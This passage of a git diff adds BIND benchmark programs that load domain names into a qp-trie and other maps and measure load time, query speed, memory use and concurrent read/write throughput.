+		rcu_barrier();
+	}
+
+	isc_time_t t1 = isc_time_now_hires();
+
+	dns_qpread_t qpr;
+	dns_qpmulti_query(arg->map, &qpr);
+
+	for (size_t n = arg->start; n < arg->end; n++) {
+		void *pval = NULL;
+		isc_result_t result = get_qp(&qpr, n, &pval);
+		CHECK(n, result);
+		assert(pval == &item[n]);
+	}
+
+	dns_qpread_destroy(arg->map, &qpr);
+
+	isc_time_t t2 = isc_time_now_hires();
+
+	arg->d0 = isc_time_microdiff(&t1, &t0);
+	arg->d1 = isc_time_microdiff(&t2, &t1);
+
+	return (NULL);
+}
+
+static void *
+thread_qp(void *arg0) {
+	return (_thread_qp(arg0, true, false));
+}
+
+static void *
+thread_qp_nosqz(void *arg0) {
+	return (_thread_qp(arg0, false, false));
+}
+
+static void *
+thread_qp_brr(void *arg0) {
+	return (_thread_qp(arg0, true, true));
+}
+
+/*
+ * fun table
+ */
+static struct fun fun_list[] = {
+	{ "lfht", new_lfht, thread_lfht },
+	{ "ht", new_ht, thread_ht },
+	{ "hashmap", new_hashmap, thread_hashmap },
+	{ "rbt", new_rbt, thread_rbt },
+	{ "qp", new_qp, thread_qp },
+	{ "qp+nosqz", new_qp, thread_qp_nosqz },
+	{ "qp+barrier", new_qp, thread_qp_brr },
+	{ NULL, NULL, NULL },
+};
+
+#define FILE_CHECK(check, msg)                                                 \
+	do {                                                                   \
+		if (!(check)) {                                                \
+			fprintf(stderr, "%s:%zu: %s\n", filename, lines, msg); \
+			exit(1);                                               \
+		}                                                              \
+	} while (0)
+
+int
+main(int argc, char *argv[]) {
+	isc_result_t result;
+	const char *filename = NULL;
+	char *filetext = NULL;
+	off_t fileoff;
+	FILE *fp = NULL;
+	size_t filesize, lines = 0, wirebytes = 0, labels = 0;
+	char *pos = NULL, *file_end = NULL;
+
+	isc_rwlock_init(&rwl);
+
+	isc_mem_create(&mctx);
+
+	if (argc != 2) {
+		fprintf(stderr,
+			"usage: load-names <filename.csv> <nthreads>\n");
+		exit(1);
+	}
+
+	filename = argv[1];
+	result = isc_file_getsize(filename, &fileoff);
+	if (result != ISC_R_SUCCESS) {
+		fprintf(stderr, "stat(%s): %s\n", filename,
+			isc_result_totext(result));
+		exit(1);
+	}
+	filesize = (size_t)fileoff;
+
+	filetext = isc_mem_get(mctx, filesize + 1);
+	fp = fopen(filename, "r");
+	if (fp == NULL || fread(filetext, 1, filesize, fp) < filesize) {
+		fprintf(stderr, "read(%s): %s\n", filename, strerror(errno));
+		exit(1);
+	}
+	fclose(fp);
+	filetext[filesize] = '\0';
+
+	pos = filetext;
+	file_end = pos + filesize;
+	while (pos < file_end) {
+		char *domain = NULL, *newline = NULL;
+		size_t len;
+
+		FILE_CHECK(lines < ARRAY_SIZE(item), "too many lines");
+		pos += strspn(pos, "0123456789");
+
+		FILE_CHECK(*pos++ == ',', "missing comma");
+
+		domain = pos;
+		pos += strcspn(pos, "\r\n");
+		FILE_CHECK(*pos != '\0', "missing newline");
+		newline = pos;
+		pos += strspn(pos, "\r\n");
+		len = newline - domain;
+
+		item[lines].text = domain;
+		domain[len] = '\0';
+
+		dns_name_t *name = dns_fixedname_initname(&item[lines].fixed);
+		isc_buffer_t buffer;
+		isc_buffer_init(&buffer, domain, len);
+		isc_buffer_add(&buffer, len);
+		result = dns_name_fromtext(name, &buffer, dns_rootname, 0,
+					   NULL);
+		FILE_CHECK(result == ISC_R_SUCCESS, isc_result_totext(result));
+
+		wirebytes += name->length;
+		labels += name->labels;
+		lines++;
+	}
+
+	printf("names %g MB labels %g MB\n\n", (double)wirebytes / 1048576.0,
+	       (double)labels / 1048576.0);
+
+	printf("%10s | %10s | %10s | %10s | %10s | %10s | %10s |\n",
+	       "algorithm", "threads", "load", "query", "dirty MB", "total",
+	       "final MB");
+
+	for (size_t nthreads = 128; nthreads > 0; nthreads /= 2) {
+		printf("---------- | ---------- | ---------- | ---------- | "
+		       "---------- | ---------- | ---------- |\n");
+
+		for (struct fun *fun = fun_list; fun->name != NULL; fun++) {
+			isc_mem_t *mem = NULL;
+			void *map = NULL;
+
+			isc_mem_create(&mem);
+			map = fun->new (mem);
+
+			size_t nitems = ARRAY_SIZE(item) / (nthreads + 1);
+
+			isc_barrier_init(&barrier, nthreads);
+
+			isc_time_t t0 = isc_time_now_hires();
+			size_t m0 = isc_mem_inuse(mem);
+
+			for (size_t i = 0; i < nthreads; i++) {
+				threads[i] = (struct thread_s){
+					.fun = fun,
+					.map = map,
+					.start = nitems * i,
+					.end = nitems * i + nitems,
+				};
+				isc_thread_create(fun->thread, &threads[i],
+						  &threads[i].thread);
+			}
+
+			uint64_t d0 = 0;
+			uint64_t d1 = 0;
+
+			for (size_t i = 0; i < nthreads; i++) {
+				isc_thread_join(threads[i].thread, NULL);
+				d0 += threads[i].d0;
+				d1 += threads[i].d1;
+			}
+
+			size_t m1 = isc_mem_inuse(mem);
+
+			rcu_barrier();
+
+			isc_time_t t1 = isc_time_now_hires();
+			uint64_t d3 = isc_time_microdiff(&t1, &t0);
+			size_t m2 = isc_mem_inuse(mem);
+
+			printf("%10s | %10zu | %10.4f | %10.4f | %10.4f | "
+			       "%10.4f | %10.4f |\n",
+			       fun->name, nthreads,
+			       (double)(d0 / nthreads) / (1000.0 * 1000.0),
+			       (double)(d1 / nthreads) / (1000.0 * 1000.0),
+			       (double)(m1 - m0) / (1024.0 * 1024.0),
+			       (double)d3 / (1000.0 * 1000.0),
+			       (double)(m2 - m0) / (1024.0 * 1024.0)
+
+			);
+		}
+	}
+
+	printf("---------- | ---------- | ---------- | ---------- | "
+	       "---------- | ---------- | ---------- |\n");
+}
diff --git a/tests/bench/qp-dump.c b/tests/bench/qp-dump.c
new file mode 100644
index 0000000000..855bbbc3dc
--- /dev/null
+++ b/tests/bench/qp-dump.c
@@ -0,0 +1,280 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+#include <assert.h>
+#include <stdlib.h>
+
+#include <isc/commandline.h>
+#include <isc/file.h>
+#include <isc/ht.h>
+#include <isc/rwlock.h>
+#include <isc/util.h>
+
+#include <dns/fixedname.h>
+#include <dns/qp.h>
+#include <dns/rbt.h>
+#include <dns/types.h>
+
+#include <tests/dns.h>
+#include <tests/qp.h>
+
+static inline size_t
+smallname_length(void *pval, uint32_t ival) {
+	UNUSED(pval);
+	return (ival & 0xff);
+}
+
+static inline size_t
+smallname_labels(void *pval, uint32_t ival) {
+	UNUSED(pval);
+	return (ival >> 8);
+}
+
+static inline isc_refcount_t *
+smallname_refcount(void *pval, uint32_t ival) {
+	UNUSED(ival);
+	return (pval);
+}
+
+static inline uint8_t *
+smallname_ndata(void *pval, uint32_t ival) {
+	return ((uint8_t *)(smallname_refcount(pval, ival) + 1));
+}
+
+static inline uint8_t *
+smallname_offsets(void *pval, uint32_t ival) {
+	return (smallname_ndata(pval, ival) + smallname_length(pval, ival));
+}
+
+static void
+smallname_from_name(/* isc_mem_t *mctx, */ const dns_name_t *name, void **valp,
+		    uint32_t *ctxp) {
+	size_t size = sizeof(isc_refcount_t) + name->length + name->labels;
+	*valp = isc_mem_get(mctx, size);
+	*ctxp = name->labels << 8 | name->length;
+	isc_refcount_init(smallname_refcount(*valp, *ctxp), 0);
+	memmove(smallname_ndata(*valp, *ctxp), name->ndata, name->length);
+	memmove(smallname_offsets(*valp, *ctxp), name->offsets, name->labels);
+}
+
+static void
+smallname_free(/* isc_mem_t *mctx, */ void *pval, uint32_t ival) {
+	size_t size = sizeof(isc_refcount_t);
+	size += smallname_length(pval, ival) + smallname_labels(pval, ival);
+	isc_mem_put(mctx, pval, size);
+}
+
+static void
+name_from_smallname(dns_name_t *name, void *pval, uint32_t ival) {
+	dns_name_reset(name);
+	name->ndata = smallname_ndata(pval, ival);
+	name->length = smallname_length(pval, ival);
+	name->labels = smallname_labels(pval, ival);
+	name->offsets = smallname_offsets(pval, ival);
+	name->attributes.readonly = true;
+	if (name->ndata[name->offsets[name->labels - 1]] == '\0') {
+		name->attributes.absolute = true;
+	}
+}
+
+static size_t
+qpkey_from_smallname(dns_qpkey_t key, void *ctx, void *pval, uint32_t ival) {
+	UNUSED(ctx);
+	dns_name_t name = DNS_NAME_INITEMPTY;
+	name_from_smallname(&name, pval, ival);
+	return (dns_qpkey_fromname(key, &name));
+}
+
+static void
+smallname_attach(void *ctx, void *pval, uint32_t ival) {
+	UNUSED(ctx);
+	isc_refcount_increment0(smallname_refcount(pval, ival));
+}
+
+static void
+smallname_detach(void *ctx, void *pval, uint32_t ival) {
+	if (isc_refcount_decrement(smallname_refcount(pval, ival)) == 1) {
+		isc_mem_free(ctx, pval);
+	}
+}
+
+static void
+testname(void *ctx, char *buf, size_t size) {
+	REQUIRE(ctx == NULL);
+	strlcpy(buf, "test", size);
+}
+
+const dns_qpmethods_t methods = {
+	smallname_attach,
+	smallname_detach,
+	qpkey_from_smallname,
+	testname,
+};
+
+static void
+usage(void) {
+	fprintf(stderr,
+		"usage: qp_dump [-dt] <filename>\n"
+		"	-d	output in graphviz dot format\n"
+		"	-t	output in ad-hoc indented text format\n");
+}
+
+int
+main(int argc, char *argv[]) {
+	isc_result_t result;
+	dns_qp_t *qp = NULL;
+	const char *filename = NULL;
+	char *filetext = NULL;
+	size_t filesize;
+	off_t fileoff;
+	FILE *fp = NULL;
+	size_t wirebytes = 0, labels = 0, names = 0;
+	char *pos = NULL, *file_end = NULL;
+	bool dumpdot = false, dumptxt = false;
+	int opt;
+
+	while ((opt = isc_commandline_parse(argc, argv, "dt")) != -1) {
+		switch (opt) {
+		case 'd':
+			dumpdot = true;
+			continue;
+		case 't':
+			dumptxt = true;
+			continue;
+		default:
+			usage();
+			exit(1);
+			continue;
+		}
+	}
+	argc -= isc_commandline_index;
+	argv += isc_commandline_index;
+
+	if (argc != 1) {
+		/* must exit 0 to appease test runner */
+		usage();
+		exit(0);
+	}
+
+	isc_mem_create(&mctx);
+
+	filename = argv[0];
+	result = isc_file_getsize(filename, &fileoff);
+	if (result != ISC_R_SUCCESS) {
+		fprintf(stderr, "stat(%s): %s\n", filename,
+			isc_result_totext(result));
+		exit(1);
+	}
+
+	filesize = (size_t)fileoff;
+	filetext = isc_mem_get(mctx, filesize + 1);
+	fp = fopen(filename, "r");
+	if (fp == NULL || fread(filetext, 1, filesize, fp) < filesize) {
+		fprintf(stderr, "read(%s): %s\n", filename, strerror(errno));
+		exit(1);
+	}
+	fclose(fp);
+	filetext[filesize] = '\0';
+
+	dns_qp_create(mctx, &methods, NULL, &qp);
+
+	pos = filetext;
+	file_end = pos + filesize;
+	while (pos < file_end) {
+		void *pval = NULL;
+		uint32_t ival = 0;
+		dns_fixedname_t fixed;
+		dns_name_t *name = dns_fixedname_initname(&fixed);
+		isc_buffer_t buffer;
+		char *newline = NULL, *domain = pos;
+		size_t len;
+
+		pos += strcspn(pos, "\r\n");
+		newline = pos;
+		pos += strspn(pos, "\r\n");
+
+		len = newline - domain;
+		domain[len] = '\0';
+
+		isc_buffer_init(&buffer, domain, len);
+		isc_buffer_add(&buffer, len);
+		result = dns_name_fromtext(name, &buffer, dns_rootname, 0,
+					   NULL);
+		if (result == ISC_R_SUCCESS) {
+			smallname_from_name(name, &pval, &ival);
+			result = dns_qp_insert(qp, pval, ival);
+		}
+		if (result == ISC_R_EXISTS && pval != NULL) {
+			smallname_free(pval, ival);
+			continue;
+		}
+		if (result != ISC_R_SUCCESS) {
+			fprintf(stderr, "%s:%zu: %s %s\n", filename, names,
+				domain, isc_result_totext(result));
+			exit(1);
+		}
+
+		wirebytes += name->length;
+		labels += name->labels;
+		names += 1;
+	}
+	dns_qp_compact(qp, DNS_QPGC_ALL);
+
+#define print_megabytes(label, value) \
+	printf("%6.2f MiB - " label "\n", (double)(value) / 1048576.0)
+
+	if (!dumptxt && !dumpdot) {
+		size_t smallbytes = wirebytes + labels +
+				    names * sizeof(isc_refcount_t);
+		dns_qp_memusage_t memusage = dns_qp_memusage(qp);
+		uint64_t compaction_us, recovery_us, rollback_us;
+		dns_qp_gctime(&compaction_us, &recovery_us, &rollback_us);
+
+		printf("leaves %zu\n"
+		       " nodes %zu\n"
+		       "  used %zu\n"
+		       "  free %zu\n"
+		       "   cow %zu\n"
+		       "chunks %zu\n"
+		       " bytes %zu\n",
+		       memusage.leaves, memusage.live, memusage.used,
+		       memusage.free, memusage.hold, memusage.chunk_count,
+		       memusage.bytes);
+
+		printf("%f compaction\n", (double)compaction_us / 1000000);
+		printf("%f recovery\n", (double)recovery_us / 1000000);
+		printf("%f rollback\n", (double)rollback_us / 1000000);
+
+		size_t bytes = memusage.bytes;
+		print_megabytes("file size", filesize);
+		print_megabytes("names", wirebytes);
+		print_megabytes("labels", labels);
+		print_megabytes("names + labels", wirebytes + labels);
+		print_megabytes("smallnames", smallbytes);
+		print_megabytes("qp-trie", bytes);
+		print_megabytes("qp-trie + smallnames", bytes + smallbytes);
+		print_megabytes("calculated", bytes + smallbytes + filesize);
+		print_megabytes("allocated", isc_mem_inuse(mctx));
+		printf("%6zu - height\n", qp_test_getheight(qp));
+		printf("%6zu - max key len\n", qp_test_maxkeylen(qp));
+	}
+
+	if (dumptxt) {
+		qp_test_dumptrie(qp);
+	}
+	if (dumpdot) {
+		qp_test_dumpdot(qp);
+	}
+
+	return (0);
+}
diff --git a/tests/bench/qpmulti.c b/tests/bench/qpmulti.c
new file mode 100644
index 0000000000..feec46f088
--- /dev/null
+++ b/tests/bench/qpmulti.c
@@ -0,0 +1,918 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+#include <math.h>
+#include <stdbool.h>
+#include <stdint.h>
+#include <stdio.h>
+#include <unistd.h>
+
+#include <isc/async.h>
+#include <isc/barrier.h>
+#include <isc/list.h>
+#include <isc/log.h>
+#include <isc/loop.h>
+#include <isc/magic.h>
+#include <isc/mem.h>
+#include <isc/mutex.h>
+#include <isc/os.h>
+#include <isc/random.h>
+#include <isc/refcount.h>
+#include <isc/rwlock.h>
+#include <isc/thread.h>
+#include <isc/tid.h>
+#include <isc/time.h>
+#include <isc/timer.h>
+#include <isc/urcu.h>
+#include <isc/util.h>
+#include <isc/uv.h>
+
+#include <dns/log.h>
+#include <dns/qp.h>
+#include <dns/types.h>
+
+#include "loop_p.h"
+#include "qp_p.h"
+
+#include <tests/qp.h>
+
+#define ITEM_COUNT	 ((size_t)1000000)
+#define RUNTIME		 (0.25 * NS_PER_SEC)
+#define MAX_OPS_PER_LOOP (1 << 10)
+
+#define VERBOSE 0
+#define ZIPF	0
+
+#if VERBOSE
+#define TRACE(fmt, ...)                                                     \
+	isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE, DNS_LOGMODULE_QP, \
+		      ISC_LOG_DEBUG(7), "%s:%d:%s():t%d: " fmt, __FILE__,   \
+		      __LINE__, __func__, isc_tid(), ##__VA_ARGS__)
+#else
+#define TRACE(...)
+#endif
+
+#if ZIPF
+/*
+ * Zipf rejection sampling derived from code by Jason Crease
+ * https://jasoncrease.medium.com/rejection-sampling-the-zipf-distribution-6b359792cffa
+ */
+static uint32_t
+rand_zipf(uint32_t max, double skew) {
+	double s = skew;
+	double t = (pow(max, 1 - s) - s) / (1 - s);
+	for (;;) {
+		double p = t * (double)isc_random32() / UINT32_MAX;
+		double invB = p <= 1 ? p : pow(p * (1 - s) + s, 1 / (1 - s));
+		uint32_t sample = (uint32_t)(invB + 1);
+		double ratio = sample <= 1 ? pow(sample, -s)
+					   : pow(sample, -s) / pow(invB, -s);
+		if (ratio > (double)isc_random32() / UINT32_MAX) {
+			return sample - 1;
+		}
+	}
+}
+#endif
+
+static struct {
+	size_t len;
+	bool present;
+	dns_qpkey_t key;
+} *item;
+
+static void
+item_refcount(void *ctx, void *pval, uint32_t ival) {
+	UNUSED(ctx);
+	UNUSED(pval);
+	UNUSED(ival);
+}
+
+static size_t
+item_makekey(dns_qpkey_t key, void *ctx, void *pval, uint32_t ival) {
+	UNUSED(ctx);
+	UNUSED(pval);
+	memmove(key, item[ival].key, item[ival].len);
+	return (item[ival].len);
+}
+
+static void
+benchname(void *ctx, char *buf, size_t size) {
+	UNUSED(ctx);
+	strlcpy(buf, "bench", size);
+}
+
+const dns_qpmethods_t item_methods = {
+	item_refcount,
+	item_refcount,
+	item_makekey,
+	benchname,
+};
+
+static uint8_t
+random_byte(void) {
+	return (isc_random_uniform(SHIFT_OFFSET - SHIFT_NOBYTE) + SHIFT_NOBYTE);
+}
+
+static void
+init_items(isc_mem_t *mctx) {
+	void *pval = NULL;
+	uint32_t ival = ~0U;
+	dns_qp_t *qp = NULL;
+	uint64_t start;
+
+	start = isc_time_monotonic();
+	item = isc_mem_callocate(mctx, ITEM_COUNT, sizeof(*item));
+
+	/* ensure there are no duplicate names */
+	dns_qp_create(mctx, &item_methods, NULL, &qp);
+	for (size_t i = 0; i < ITEM_COUNT; i++) {
+		do {
+			size_t len = isc_random_uniform(16) + 4;
+			item[i].len = len;
+			for (size_t off = 0; off < len; off++) {
+				item[i].key[off] = random_byte();
+			}
+			item[i].key[len] = SHIFT_NOBYTE;
+		} while (dns_qp_getkey(qp, item[i].key, item[i].len, &pval,
+				       &ival) == ISC_R_SUCCESS);
+		INSIST(dns_qp_insert(qp, &item[i], i) == ISC_R_SUCCESS);
+	}
+	dns_qp_destroy(&qp);
+
+	double time = (double)(isc_time_monotonic() - start) / NS_PER_SEC;
+	printf("%f sec to create %zu items, %f/sec %zu bytes\n", time,
+	       ITEM_COUNT, ITEM_COUNT / time, ITEM_COUNT * sizeof(*item));
+}
+
+static void
+init_logging(isc_mem_t *mctx) {
+	isc_result_t result;
+	isc_logdestination_t destination;
+	isc_logconfig_t *logconfig = NULL;
+	isc_log_t *lctx = NULL;
+
+	isc_log_create(mctx, &lctx, &logconfig);
+	isc_log_setcontext(lctx);
+	dns_log_init(lctx);
+	dns_log_setcontext(lctx);
+
+	destination.file.stream = stderr;
+	destination.file.name = NULL;
+	destination.file.versions = ISC_LOG_ROLLNEVER;
+	destination.file.maximum_size = 0;
+	isc_log_createchannel(logconfig, "stderr", ISC_LOG_TOFILEDESC,
+			      ISC_LOG_DYNAMIC, &destination,
+			      ISC_LOG_PRINTPREFIX | ISC_LOG_PRINTTIME |
+				      ISC_LOG_ISO8601);
+#if VERBOSE
+	isc_log_setdebuglevel(lctx, 7);
+#endif
+
+	result = isc_log_usechannel(logconfig, "stderr",
+				    ISC_LOGCATEGORY_DEFAULT, NULL);
+	INSIST(result == ISC_R_SUCCESS);
+}
+
+static void
+collect(void *);
+
+struct thread_args {
+	struct bench_state *bctx; /* (in) */
+	isc_barrier_t *barrier;	  /* (in) */
+	isc_loopmgr_t *loopmgr;	  /* (in) */
+	uv_idle_t handle;	  /* (in) */
+	uv_idle_cb cb;		  /* (in) */
+	dns_qpmulti_t *multi;	  /* (in) */
+	double zipf_skew;	  /* (in) */
+	uint32_t max_item;	  /* (in) */
+	uint32_t ops_per_tx;	  /* (in) */
+	uint32_t tx_per_loop;	  /* (in) */
+	uint32_t absent;	  /* items not found or inserted (out) */
+	uint32_t present;	  /* items found or deleted (out) */
+	uint32_t compactions;	  /* (out) */
+	uint64_t transactions;	  /* (out) */
+	isc_nanosecs_t worked;	  /* (out) */
+	isc_nanosecs_t start;	  /* (out) */
+	isc_nanosecs_t stop;	  /* (out) */
+};
+
+static void
+first_loop(void *varg) {
+	struct thread_args *args = varg;
+	isc_loop_t *loop = isc_loop_current(args->loopmgr);
+
+	uv_idle_init(&loop->loop, &args->handle);
+	uv_idle_start(&args->handle, args->cb);
+	args->handle.data = args;
+
+	isc_barrier_wait(args->barrier);
+	args->start = isc_time_monotonic();
+}
+
+static void
+next_loop(struct thread_args *args, isc_nanosecs_t start) {
+	isc_nanosecs_t stop = isc_time_monotonic();
+
+	args->worked += stop - start;
+	args->stop = stop;
+	if (args->stop - args->start < RUNTIME) {
+		return;
+	}
+	uv_idle_stop(&args->handle);
+	uv_close(&args->handle, NULL);
+	isc_async_run(isc_loop_main(args->loopmgr), collect, args);
+}
+
+#if ZIPF
+static void
+read_zipf(uv_idle_t *idle) {
+	struct thread_args *args = idle->data;
+	isc_nanosecs_t start;
+	void *pval = NULL;
+	uint32_t ival;
+
+	/* outside time because it is v slow */
+	uint32_t r[args->tx_per_loop][args->ops_per_tx];
+	for (uint32_t tx = 0; tx < args->tx_per_loop; tx++) {
+		for (uint32_t op = 0; op < args->ops_per_tx; op++) {
+			r[tx][op] = rand_zipf(args->max_item, args->zipf_skew);
+		}
+	}
+
+	start = isc_time_monotonic();
+	for (uint32_t tx = 0; tx < args->tx_per_loop; tx++) {
+		args->transactions++;
+		dns_qpread_t qp;
+		dns_qpmulti_query(args->multi, &qp);
+		for (uint32_t op = 0; op < args->ops_per_tx; op++) {
+			uint32_t i = r[tx][op];
+			isc_result_t result = dns_qp_getkey(
+				&qp, item[i].key, item[i].len, &pval, &ival);
+			if (result == ISC_R_SUCCESS) {
+				args->present++;
+			} else {
+				args->absent++;
+			}
+		}
+		dns_qpread_destroy(args->multi, &qp);
+	}
+	next_loop(args, start);
+}
+#else
+#define read_zipf read_transactions
+#endif
+
+static void
+read_transactions(uv_idle_t *idle) {
+	struct thread_args *args = idle->data;
+	isc_nanosecs_t start = isc_time_monotonic();
+	void *pval = NULL;
+	uint32_t ival;
+
+	for (uint32_t tx = 0; tx < args->tx_per_loop; tx++) {
+		args->transactions++;
+		dns_qpread_t qp;
+		dns_qpmulti_query(args->multi, &qp);
+		for (uint32_t op = 0; op < args->ops_per_tx; op++) {
+			uint32_t i = isc_random_uniform(args->max_item);
+			isc_result_t result = dns_qp_getkey(
+				&qp, item[i].key, item[i].len, &pval, &ival);
+			if (result == ISC_R_SUCCESS) {
+				args->present++;
+			} else {
+				args->absent++;
+			}
+		}
+		dns_qpread_destroy(args->multi, &qp);
+	}
+	next_loop(args, start);
+}
+
+static void
+mutate_transactions(uv_idle_t *idle) {
+	struct thread_args *args = idle->data;
+	isc_nanosecs_t start = isc_time_monotonic();
+
+	for (uint32_t tx = 0; tx < args->tx_per_loop; tx++) {
+		dns_qp_t *qp = NULL;
+		dns_qpmulti_write(args->multi, &qp);
+		for (uint32_t op = 0; op < args->ops_per_tx; op++) {
+			uint32_t i = isc_random_uniform(args->max_item);
+			if (item[i].present) {
+				isc_result_t result = dns_qp_deletekey(
+					qp, item[i].key, item[i].len, NULL,
+					NULL);
+				INSIST(result == ISC_R_SUCCESS);
+				item[i].present = false;
+				args->present++;
+			} else {
+				isc_result_t result =
+					dns_qp_insert(qp, &item[i], i);
+				INSIST(result == ISC_R_SUCCESS);
+				item[i].present = true;
+				args->absent++;
+			}
+		}
+		/*
+		 * We would normally use DNS_QPGC_MAYBE, but here we do the
+		 * fragmented check ourself so we can count compactions
+		 */
+		if (dns_qp_memusage(qp).fragmented) {
+			dns_qp_compact(qp, DNS_QPGC_NOW);
+			args->compactions++;
+		}
+		dns_qpmulti_commit(args->multi, &qp);
+		args->transactions++;
+	}
+	next_loop(args, start);
+}
+
+enum benchmode {
+	init,
+	vary_max_items_rw,
+	vary_max_items_ro,
+	vary_mut_read,
+	vary_read_only,
+	vary_mut_ops_per_tx,
+	vary_mut_tx_per_loop,
+	vary_read_ops_per_tx_rw,
+	vary_read_ops_per_tx_ro,
+	vary_read_tx_per_loop_rw,
+	vary_read_tx_per_loop_ro,
+	vary_zipf_skew,
+};
+
+struct bench_state {
+	isc_mem_t *mctx;
+	isc_barrier_t barrier;
+	isc_loopmgr_t *loopmgr;
+	dns_qpmulti_t *multi;
+	enum benchmode mode;
+	size_t bytes;
+	size_t qp_bytes;
+	size_t qp_items;
+	isc_nanosecs_t load_time;
+	uint32_t nloops;
+	uint32_t waiting;
+	uint32_t max_item;
+	uint32_t mutate;
+	uint32_t mut_ops_per_tx;
+	uint32_t mut_tx_per_loop;
+	uint32_t readers;
+	uint32_t read_ops_per_tx;
+	uint32_t read_tx_per_loop;
+	double zipf_skew;
+	struct thread_args thread[];
+};
+
+static void
+load_multi(struct bench_state *bctx) {
+	dns_qp_t *qp = NULL;
+	size_t count = 0;
+	uint64_t start;
+
+	dns_qpmulti_create(bctx->mctx, &item_methods, NULL, &bctx->multi);
+
+	/* initial contents of the trie */
+	start = isc_time_monotonic();
+	dns_qpmulti_update(bctx->multi, &qp);
+	for (size_t i = 0; i < bctx->max_item; i++) {
+		if (isc_random_uniform(2) == 0) {
+			item[i].present = false;
+			continue;
+		}
+		INSIST(dns_qp_insert(qp, &item[i], i) == ISC_R_SUCCESS);
+		item[i].present = true;
+		count++;
+	}
+	dns_qp_compact(qp, DNS_QPGC_ALL);
+	dns_qpmulti_commit(bctx->multi, &qp);
+
+	bctx->load_time = isc_time_monotonic() - start;
+	bctx->qp_bytes = dns_qpmulti_memusage(bctx->multi).bytes;
+	bctx->qp_items = count;
+}
+
+static void
+tsv_header(void) {
+	printf("runtime\t");
+	printf("elapsed\t");
+	printf(" load s\t");
+	printf(" B/item\t");
+	printf("  items\t");
+
+	printf("    mut\t");
+	printf("tx/loop\t");
+	printf(" ops/tx\t");
+	printf("     gc\t");
+	printf("   txns\t");
+	printf("    ops\t");
+	printf(" work s\t");
+	printf("txns/us\t");
+	printf(" ops/us\t");
+
+	printf("   read\t");
+	printf("tx/loop\t");
+	printf(" ops/tx\t");
+	printf("  Ktxns\t");
+	printf("   Kops\t");
+	printf(" work s\t");
+	printf("txns/us\t");
+	printf(" ops/us\t");
+	printf("    raw\t");
+	printf("   loop\n");
+}
+
+/*
+ * This function sets up the parameters for each benchmark run and
+ * dispatches the work to the event loops. Each run is part of a
+ * series, where most of the parameters are fixed and one parameter is
+ * varied. The layout here is somewhat eccentric, in order to keep
+ * each series together.
+ *
+ * A series starts with an `init` block, which sets up the constant
+ * parameters and the variable parameter for the first run. Following
+ * the `init` block is a `case` label which adjusts the variable
+ * parameter for each subsequent run in the series, and checks when
+ * the series is finished. At the end of the series, we `goto` the
+ * `init` label for the next series.
+ */
+static void
+dispatch(struct bench_state *bctx) {
+	switch (bctx->mode) {
+	case init:
+		goto init_max_items_rw;
+
+	fini:;
+		isc_loopmgr_t *loopmgr = bctx->loopmgr;
+		dns_qpmulti_destroy(&bctx->multi);
+		isc_mem_putanddetach(&bctx->mctx, bctx, bctx->bytes);
+		isc_loopmgr_shutdown(loopmgr);
+		return;
+
+	init_max_items_rw:
+		bctx->mode = vary_max_items_rw;
+		printf("\n");
+		printf("vary size of trie\n");
+		tsv_header();
+		bctx->mutate = 1;
+		bctx->readers = bctx->nloops - 1;
+		bctx->mut_ops_per_tx = 4;
+		bctx->mut_tx_per_loop = 4;
+		bctx->read_ops_per_tx = 32;
+		bctx->read_tx_per_loop = 32;
+		bctx->max_item = 10;
+		load_multi(bctx);
+		break;
+	case vary_max_items_rw:
+		if (bctx->max_item == ITEM_COUNT) {
+			goto init_max_items_ro;
+		} else {
+			dns_qpmulti_destroy(&bctx->multi);
+			bctx->max_item *= 10;
+			load_multi(bctx);
+		}
+		break;
+
+	init_max_items_ro:
+		bctx->mode = vary_max_items_ro;
+		printf("\n");
+		printf("vary size of trie (readonly)\n");
+		tsv_header();
+		bctx->mutate = 0;
+		bctx->readers = bctx->nloops;
+		bctx->mut_ops_per_tx = 4;
+		bctx->mut_tx_per_loop = 4;
+		bctx->read_ops_per_tx = 32;
+		bctx->read_tx_per_loop = 32;
+		dns_qpmulti_destroy(&bctx->multi);
+		bctx->max_item = 10;
+		load_multi(bctx);
+		break;
+	case vary_max_items_ro:
+		if (bctx->max_item == ITEM_COUNT) {
+			goto init_zipf_skew;
+		} else {
+			dns_qpmulti_destroy(&bctx->multi);
+			bctx->max_item *= 10;
+			load_multi(bctx);
+		}
+		break;
+
+	init_zipf_skew:
+		bctx->mode = vary_zipf_skew;
+		printf("\n");
+		printf("vary zipf skew (readonly) "
+		       " [ cache friendliness? ]\n");
+		tsv_header();
+		bctx->mutate = 0;
+		bctx->readers = 0;
+		bctx->mut_ops_per_tx = 4;
+		bctx->mut_tx_per_loop = 4;
+		bctx->read_ops_per_tx = 32;
+		bctx->read_tx_per_loop = 32;
+		bctx->zipf_skew = 0.01;
+		/* dumb hack */
+		bctx->load_time = bctx->zipf_skew * NS_PER_SEC;
+		break;
+	case vary_zipf_skew:
+		bctx->zipf_skew += 0.1;
+		bctx->load_time = bctx->zipf_skew * NS_PER_SEC;
+		if (bctx->zipf_skew >= 1.0) {
+			bctx->zipf_skew = 0.0;
+			bctx->load_time = 0;
+			goto init_mut_read;
+		}
+		break;
+
+	init_mut_read:
+		bctx->mode = vary_mut_read;
+		printf("\n");
+		printf("vary mutate / read threads "
+		       "[ read perf per thread should be flat ]\n");
+		tsv_header();
+		bctx->mutate = bctx->nloops - 1;
+		bctx->readers = 1;
+		bctx->mut_ops_per_tx = 4;
+		bctx->mut_tx_per_loop = 4;
+		bctx->read_ops_per_tx = 32;
+		bctx->read_tx_per_loop = 32;
+		break;
+	case vary_mut_read:
+		if (bctx->mutate == 1) {
+			goto init_read_only;
+		} else {
+			bctx->mutate--;
+			bctx->readers++;
+		}
+		break;
+
